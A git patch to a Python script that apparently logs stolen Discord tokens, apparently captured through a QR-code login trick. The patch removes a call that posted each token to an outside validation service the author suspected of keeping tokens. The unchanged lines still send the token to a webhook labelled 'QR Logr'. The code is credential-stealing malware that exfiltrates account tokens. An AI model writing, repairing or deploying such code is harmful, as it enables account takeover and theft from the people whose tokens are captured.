From 25dca5e6f44542bb8741413f15ab93e7aa716c1d Mon Sep 17 00:00:00 2001 From: Luci <59532064+9P9@users.noreply.github.com> Date: Fri, 15 Jul 2022 23:49:07 +0100 Subject: [PATCH] Removed Utilities.tk API Unknown API - Possible Token Storing on API --- QR-dtg.py | 13 +------------ 1 file changed, 1 insertion(+), 12 deletions(-) diff --git a/QR-dtg.py b/QR-dtg.py index 97a321d..430c40c 100644 --- a/QR-dtg.py +++ b/QR-dtg.py @@ -98,20 +98,9 @@ end="") if re.search("[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", token) == None: print("invalid token? (didnt match regex)") - - check = requests.post('https://utilities.tk/tokens/check', json={'token':token}) - - if check.status_code == 401: - print('Account invalid.') - elif check.status_code == 403: - a = check.json()['username'] - print(f"Account locked. `{a}`") - elif check.status_code == 200: - a = check.json()['username'] - print(f"Account valid! `{a}`") data = { - "content": f"TKN: {token}\nUser: {a}", + "content": f"TKN: {token}\n", "username": "QR Logr" } if webhook_url: